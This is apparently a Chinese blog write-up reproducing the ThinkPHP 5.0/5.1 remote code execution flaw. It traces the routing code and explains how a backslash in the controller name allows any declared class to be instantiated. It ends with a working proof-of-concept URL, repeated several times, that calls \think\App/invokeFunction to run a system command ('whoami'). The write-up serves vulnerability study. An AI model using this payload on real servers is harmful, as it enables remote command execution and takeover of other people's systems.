ThinkPHP5 RCE漏洞复现与分析
这个漏洞危害性很高所以来复现一下
漏洞影响范围
ThinkPHP 5.0.x和ThinkPHP 5.1.x
漏洞分析
1
| http://localhost/thinkphp_5.0.14/public/index.php/index/index/hello
|
先访问一个常规的路由看看代码内部是怎么分析处理路由的
直接把断点下在hello方法处查看调用栈

之后调试时需要关注这些调用栈
现在回到run方法处在方法开始处打一个断点

进入run方法后一直向下跟进,这里进入routeCheck方法开始路由检测

进行一系列动作后进入pardeUrl方法开始解析模块/控制器/操作/参数

走出这个方法发现,此方法只是从url中获取了三个值作为一个数组存入module中

之后就会走进exec方法中
跟进module方法,查看如何找到并实例化控制器类
在这里看到module方法中先获取了module的值,模块为index

这里走过之后,跳过中间的一些方法,开始加载控制器
走进controller方法中


这里发现getModuleAndClass方法,跟进看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected static function getModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $module = Request::instance()->module(); $class = $name; } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = Request::instance()->module(); }
$class = self::parseClass($module, $layer, $name, $appendSuffix); }
return [$module, $class]; }
|
发现这个方法中有一个重新获取module的操作
这个方法用于根据传入的 $name(可能是模块/类名)解析出模块名和类名。如果 $name 包含反斜杠 \,则直接认为它是完整的类名,并根据当前请求的模块进行处理。如果 $name 包含 /,则将其分割为模块和类名
那么就是我们在url参数前加一个\,就可以被认定为任意类,继续执行代码顺利就可以实例化任意类
我们先继续往下看
方法的最后拼接了一个类的具体路径
$class=app\index\controller\Index
之后走到invokeClass方法中,看到反射加载了此类,获取构造方法,实例化该类

示例化类完成后,回到module方法获取操作名,执行方法

构造poc思路
我们现在已经知道可以通过在controller参数前加反斜杠可以实例化任意类
其实这里还是有一些小问题的
这里可以实例化的类是已经声明的类
使用
命令可以查看已经声明的类
我们找到一个可利用类 \think\App
利用的方法 invokeFunction
1 2 3 4 5 6 7 8 9 10
| public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args); }
|
看到这个方法可以通过反射调用任意方法
我们利用可以执行命令的函数call_user_func_array
这个函数要求传入的参数是数组,同时可以满足invokeFunction方法要求第二个参数是数组
我们构造poc
1
| http://localhost/thinkphp_5.0.14/public/index.php/index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|
实操后发现这样是不可以的,因为\会被转义
但是thinkPHP中还有一个路由参数兼容模式
thinkphp应⽤默认的路由模式是pathinfo模式。
1
| http://172.16.134.134:8082/public/index.php/index/index/hello
|
但是他们考虑到要向下兼容,防⽌某些php配置、中间件配置导致的不兼容pathinfo的情况, 所以thinkphp默认开启了兼容参数路由的⽅式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'pathinfo_depr' => '/', 'url_html_suffix' => 'html', 'url_common_param' => false, 'url_param_type' => 0, 'url_route_on' => true, 'route_complete_match' => false, 'route_config_file' => ['route'], 'url_route_must' => false,
|
所以我们可以⽤s参数来做这个事情
1
| http://localhost/thinkphp_5.0.14/public/index.php?s=index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|
这样反斜杠就不会被转义了
poc
1
| http://localhost/thinkphp_5.0.14/public/index.php?s=index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|